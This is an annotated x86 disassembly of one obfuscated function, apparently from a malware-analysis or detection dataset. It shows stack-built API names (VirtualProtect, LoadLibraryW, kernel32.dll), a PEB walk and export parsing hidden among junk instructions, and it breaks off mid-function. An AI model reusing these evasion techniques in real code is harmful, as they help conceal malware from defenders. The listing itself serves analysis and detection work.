Function at 0x447133
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add esp, 4
pop esi
push eax
and eax, 0x14c21
and eax, 0xb56a
or eax, 0xfe0e
xor eax, 0x4a92
pop eax
mov byte [ebp - 0x9d4], 0x56
mov byte [ebp - 0x9d3], 0x69
mov byte [ebp - 0x9d2], 0x72
mov byte [ebp - 0x9d1], 0x74
mov byte [ebp - 0x9d0], 0x75
mov byte [ebp - 0x9cf], 0x61
mov byte [ebp - 0x9ce], 0x6c
mov byte [ebp - 0x9cd], 0x50
mov byte [ebp - 0x9cc], 0x72
mov byte [ebp - 0x9cb], 0x6f
mov byte [ebp - 0x9ca], 0x74
mov byte [ebp - 0x9c9], 0x65
mov byte [ebp - 0x9c8], 0x63
mov byte [ebp - 0x9c7], 0x74
mov byte [ebp - 0x9c6], 0
push edx
add edx, 0x40bc
pop edx
push ebx
push esi
add esp, 4
or ebx, 0x117f6
jmp 0x4471d2
add ebx, 0xf86f
call 0x4471e8
add byte [edx + 0x3f], cl
xor al, 0x48
dec esp
dec esi
dec ecx
dec ebx
dec eax
add esp, 4
pop ebx
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1994], eax
mov ecx, dword [ebp - 0x1994]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x1998], edx
mov eax, dword [ebp - 0x1998]
mov dword [ebp - 0x1614], eax
push esi
sub esi, 0xc5ed
pop esi
push ecx
push edx
add esp, 4
sub ecx, 0xcd1e
or ecx, 0xbcf
sub ecx, 0x14046
xor ecx, 0x17d91
pop ecx
push edi
push edi
add esp, 4
add edi, 0x8bdc
pop edi
cmp dword [ebp - 0x1614], 0
jne 0x44725d
mov dword [ebp - 0x2fc], 0
jmp 0x447504
mov ecx, dword [ebp - 0x1614]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xcc4], eax
push ebx
push esi
add esp, 4
xor ebx, 0x1232c
sub ebx, 0x1f35
pop ebx
push edi
push ebx
add esp, 4
add edi, 0x6ed3
pop edi
push edx
call 0x44729d
add byte [eax + 0x3f], dl
cmp ecx, dword [edi + 0x3b]
dec ebp
dec ebx
cmp byte [ebx + eax*4], bh
les eax, [edx + ebx*2]
cmp dword [ebp - 0xcc4], 0
jne 0x4472b9
mov dword [ebp - 0x2fc], 0
jmp 0x447504
mov ecx, dword [ebp - 0xcc4]
mov dword [ebp - 0x514], ecx
push ecx
add ecx, 0xe148
and ecx, 0x815f
xor ecx, 0x14ce9
sub ecx, 0xcfab
pop ecx
push ecx
push edi
add esp, 4
sub ecx, 0x7812
xor ecx, 0xc4a0
and ecx, 0x52a5
pop ecx
lea edx, [ebp - 0x1738]
mov dword [ebp - 0xcc0], edx
mov eax, dword [ebp - 0x514]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xcbc], ecx
xor edx, edx
mov word [ebp - 0x21c], dx
xor eax, eax
mov word [ebp - 0x38], ax
push ebx
call 0x44732f
add byte [edx], dh
cmp eax, 0x4748493d
push eax
add esp, 4
xor ebx, 0x32a4
or ebx, 0x17c71
add ebx, 0x69f9
pop ebx
push edx
add edx, 0x1680a
xor edx, 0x409e
pop edx
mov ecx, dword [ebp - 0xcbc]
mov dx, word [ecx]
mov word [ebp - 0x103e], dx
mov eax, dword [ebp - 0xcbc]
add eax, 2
mov dword [ebp - 0xcbc], eax
mov cx, word [ebp - 0x103e]
mov word [ebp - 0x21c], cx
mov edx, dword [ebp - 0xcc0]
mov ax, word [edx]
mov word [ebp - 0x1040], ax
mov ecx, dword [ebp - 0xcc0]
add ecx, 2
mov dword [ebp - 0xcc0], ecx
mov dx, word [ebp - 0x1040]
mov word [ebp - 0x38], dx
push esi
push edx
add esp, 4
add esi, 0xb1b4
pop esi
push ecx
sub ecx, 0x438d
add ecx, 0x4e43
pop ecx
push edx
push edi
add esp, 4
sub edx, 0x1825e
sub edx, 0x13be9
and edx, 0x161c6
pop edx
movzx eax, word [ebp - 0x38]
test eax, eax
jne 0x4473f9
movzx ecx, word [ebp - 0x21c]
movzx edx, word [ebp - 0x38]
sub ecx, edx
mov dword [ebp - 0x161c], ecx
jmp 0x447453
movzx eax, word [ebp - 0x21c]
movzx ecx, word [ebp - 0x38]
cmp eax, ecx
je 0x447321
movzx edx, word [ebp - 0x21c]
xor edx, 0x20
movzx eax, word [ebp - 0x38]
cmp edx, eax
je 0x447321
movzx ecx, word [ebp - 0x21c]
movzx edx, word [ebp - 0x38]
cmp ecx, edx
jge 0x44743d
mov dword [ebp - 0x1618], 0xffffffff
jmp 0x447447
mov dword [ebp - 0x1618], 1
mov eax, dword [ebp - 0x1618]
mov dword [ebp - 0x161c], eax
cmp dword [ebp - 0x161c], 0
jne 0x44749c
push ecx
push eax
add esp, 4
and ecx, 0xa6c2
pop ecx
push eax
xor eax, 0x6670
call 0x44747c
add byte [0x4a343d3a], dh
inc ebx
add esp, 4
pop eax
push eax
sub eax, 0x8016
sub eax, 0x80df
pop eax
mov ecx, dword [ebp - 0x514]
mov dword [ebp - 0x2fc], ecx
jmp 0x447504
push eax
add eax, 0xcb5
pop eax
push edx
push edi
add esp, 4
and edx, 0x14036
add edx, 0xe473
sub edx, 0x16123
sub edx, 0x11a1c
pop edx
push ecx
push esi
add esp, 4
sub ecx, 0x8be5
pop ecx
mov edx, dword [ebp - 0x514]
mov eax, dword [edx]
mov dword [ebp - 0x514], eax
mov ecx, dword [ebp - 0x514]
cmp ecx, dword [ebp - 0xcc4]
je 0x4474fa
mov edx, dword [ebp - 0x514]
cmp dword [edx + 0x30], 0
jne 0x4472c5
mov dword [ebp - 0x2fc], 0
push eax
add eax, 0x14c35
or eax, 0xc11c
pop eax
push ebx
push edx
add esp, 4
sub ebx, 0x5932
pop ebx
push edi
or edi, 0xe501
call 0x447532
add byte [eax + 0x47], dl
cmp al, 0x50
dec esi
dec eax
dec esp
add esp, 4
pop edi
cmp dword [ebp - 0x2fc], 0
jne 0x447e3b
mov eax, 0x6b
mov word [ebp - 0x1790], ax
mov ecx, 0x65
mov word [ebp - 0x178e], cx
mov edx, 0x72
mov word [ebp - 0x178c], dx
mov eax, 0x6e
mov word [ebp - 0x178a], ax
mov ecx, 0x65
mov word [ebp - 0x1788], cx
mov edx, 0x6c
mov word [ebp - 0x1786], dx
mov eax, 0x33
mov word [ebp - 0x1784], ax
mov ecx, 0x32
mov word [ebp - 0x1782], cx
mov edx, 0x2e
mov word [ebp - 0x1780], dx
mov eax, 0x64
mov word [ebp - 0x177e], ax
mov ecx, 0x6c
mov word [ebp - 0x177c], cx
mov edx, 0x6c
mov word [ebp - 0x177a], dx
xor eax, eax
mov word [ebp - 0x1778], ax
push ebx
push edx
add esp, 4
call 0x4475ee
add byte [eax], bh
inc ebx
inc edi
push eax
cmp eax, 0x4c48339
add ebx, 0x9c3a
and ebx, 0x45ea
jmp 0x447602
pop ebx
push eax
jmp 0x44760d
pop eax
mov byte [ebp - 0x8a4], 0x4c
mov byte [ebp - 0x8a3], 0x6f
mov byte [ebp - 0x8a2], 0x61
mov byte [ebp - 0x8a1], 0x64
mov byte [ebp - 0x8a0], 0x4c
mov byte [ebp - 0x89f], 0x69
mov byte [ebp - 0x89e], 0x62
mov byte [ebp - 0x89d], 0x72
mov byte [ebp - 0x89c], 0x61
mov byte [ebp - 0x89b], 0x72
mov byte [ebp - 0x89a], 0x79
mov byte [ebp - 0x899], 0x57
mov byte [ebp - 0x898], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x199c], ecx
mov edx, dword [ebp - 0x199c]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x19a0], eax
mov ecx, dword [ebp - 0x19a0]
mov dword [ebp - 0x1620], ecx
push esi
push esi
add esp, 4
xor esi, 0xade1
or esi, 0x1869d
sub esi, 0x15aaf
pop esi
push eax
xor eax, 0x15f60
pop eax
push ecx
push eax
add esp, 4
sub ecx, 0x336b
add ecx, 0x10481
pop ecx
cmp dword [ebp - 0x1620], 0
jne 0x4476db
mov dword [ebp - 0x774], 0
jmp 0x447982
mov edx, dword [ebp - 0x1620]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xcd0], ecx
push esi
or esi, 0xfb02
add esi, 0x13468
xor esi, 0x1325
add esi, 0xecac
pop esi
push eax
push esi
add esp, 4
or eax, 0x14684
sub eax, 0x15399
add eax, 0x273d
pop eax
cmp dword [ebp - 0xcd0], 0
jne 0x447737
mov dword [ebp - 0x774], 0
jmp 0x447982
mov edx, dword [ebp - 0xcd0]
mov dword [ebp - 0x518], edx
push eax
call 0x447751
add byte [edi + eax*2], bh
aas
push eax
inc edi
add esp, 4
pop eax
push ebx
push eax
add esp, 4
call 0x447766
add byte [ebx + 0x3a], cl
cmp dword [0xc4833c4e], esi
add al, 0xeb
add eax, dword [ebx + 0x45]
dec edx
sub ebx, 0x1320c
pop ebx
lea eax, [ebp - 0x1790]
mov dword [ebp - 0xccc], eax
mov ecx, dword [ebp - 0x518]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xcc8], edx
xor eax, eax
mov word [ebp - 0x220], ax
xor ecx, ecx
mov word [ebp - 0x3c], cx
push edx
call 0x4477ad
add byte [esi], bh
xor al, 0x3e
inc esi
inc ecx
dec esi
cmp byte [ebx + 0x525a04c4], al
push edi
add esp, 4
sub edx, 0x10a2e
pop edx
push edi
and edi, 0x69de
xor edi, 0x13547
xor edi, 0x12320
pop edi
mov edx, dword [ebp - 0xcc8]
mov ax, word [edx]
mov word [ebp - 0x1042], ax
mov ecx, dword [ebp - 0xcc8]
add ecx, 2
mov dword [ebp - 0xcc8], ecx
mov dx, word [ebp - 0x1042]
mov word [ebp - 0x220], dx
mov eax, dword [ebp - 0xccc]
mov cx, word [eax]
mov word [ebp - 0x1044], cx
mov edx, dword [ebp - 0xccc]
add edx, 2
mov dword [ebp - 0xccc], edx
mov ax, word [ebp - 0x1044]
mov word [ebp - 0x3c], ax
push eax
and eax, 0x10997
xor eax, 0x1986
add eax, 0x7bb1
pop eax
push ebx
push edx
add esp, 4
sub ebx, 0x4f29
add ebx, 0x8ee1
pop ebx
push ecx
push edi
add esp, 4
sub ecx, 0x420b
pop ecx
movzx ecx, word [ebp - 0x3c]
test ecx, ecx
jne 0x447877
movzx edx, word [ebp - 0x220]
movzx eax, word [ebp - 0x3c]
sub edx, eax
mov dword [ebp - 0x1668], edx
jmp 0x4478d1
movzx ecx, word [ebp - 0x220]
movzx edx, word [ebp - 0x3c]
cmp ecx, edx
je 0x44779f
movzx eax, word [ebp - 0x220]
xor eax, 0x20
movzx ecx, word [ebp - 0x3c]
cmp eax, ecx
je 0x44779f
movzx edx, word [ebp - 0x220]
movzx eax, word [ebp - 0x3c]
cmp edx, eax
jge 0x4478bb
mov dword [ebp - 0x1624], 0xffffffff
jmp 0x4478c5
mov dword [ebp - 0x1624], 1
mov ecx, dword [ebp - 0x1624]
mov dword [ebp - 0x1668], ecx
cmp dword [ebp - 0x1668], 0
jne 0x44791a
push eax
push eax
add esp, 4
or eax, 0x16e95
jmp 0x4478ed
pop eax
push edx
push eax
add esp, 4
and edx, 0x114f2
pop edx
push ecx
push ebx
add esp, 4
sub ecx, 0x12b43
xor ecx, 0x11753
pop ecx
mov edx, dword [ebp - 0x518]
mov dword [ebp - 0x774], edx
jmp 0x447982
push edi
push ebx
add esp, 4
call 0x44792c
add byte [eax + 0x4c], al
dec ebx
aas
aaa
dec esp
aaa
add esp, 4
pop edi
push ecx
or ecx, 0x7641
sub ecx, 0xc392
pop ecx
push eax
and eax, 0x177cc
and eax, 0xc172
pop eax
mov eax, dword [ebp - 0x518]
mov ecx, dword [eax]
mov dword [ebp - 0x518], ecx
mov edx, dword [ebp - 0x518]
cmp edx, dword [ebp - 0xcd0]
je 0x447978
mov eax, dword [ebp - 0x518]
cmp dword [eax + 0x30], 0
jne 0x447743
mov dword [ebp - 0x774], 0
push ecx
add ecx, 0x15289
pop ecx
push ebx
jmp 0x447993
pop ebx
push ecx
or ecx, 0x11e9f
and ecx, 0x1554c
or ecx, 0x17581
pop ecx
push ecx
push ecx
add esp, 4
or ecx, 0x16df2
pop ecx
cmp dword [ebp - 0x774], 0
jne 0x4479fe
push esi
sub esi, 0x14596
and esi, 0x697c
and esi, 0xe23e
xor esi, 0x2e4e
pop esi
push eax
push esi
add esp, 4
add eax, 0x121be
add eax, 0xa510
sub eax, 0x170a4
pop eax
mov dword [ebp - 0xab4], 0
jmp 0x448526
push esi
push edx
add esp, 4
xor esi, 0xc271
jmp 0x447a0f
xor esi, 0x15c0c
add esi, 0xe324
pop esi
push ecx
add ecx, 0x7163
or ecx, 0x635b
add ecx, 0x15994
pop ecx
mov ecx, dword [ebp - 0x774]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x3a4], edx
mov dword [ebp - 0x784], 0
mov eax, dword [ebp - 0x3a4]
mov dword [ebp - 0x166c], eax
cmp dword [ebp - 0x166c], 0
jne 0x447a6f
mov ecx, dword [ebp - 0x784]
mov dword [ebp - 0x3f8], ecx
jmp 0x447d60
mov edx, dword [ebp - 0x166c]
mov eax, dword [ebp - 0x3a4]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1670], eax
jne 0x447a97
mov ecx, dword [ebp - 0x784]
mov dword [ebp - 0x3f8], ecx
jmp 0x447d60
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1670]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1678], edx
cmp dword [ebp - 0x1678], 0
jne 0x447ac9
mov eax, dword [ebp - 0x784]
mov dword [ebp - 0x3f8], eax
jmp 0x447d60
mov ecx, dword [ebp - 0x3a4]
add ecx, dword [ebp - 0x1678]
mov dword [ebp - 0x778], ecx
jne 0x447aee
mov edx, dword [ebp - 0x784]
mov dword [ebp - 0x3f8], edx
jmp 0x447d60
mov eax, dword [ebp - 0x778]
mov ecx, dword [ebp - 0x3a4]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x19a4], ecx
mov edx, dword [ebp - 0x778]
mov eax, dword [ebp - 0x3a4]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x19a8], eax
mov ecx, dword [ebp - 0x778]
mov edx, dword [ebp - 0x3a4]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x19ac], edx
mov dword [ebp - 0x77c], 0
jmp 0x447b48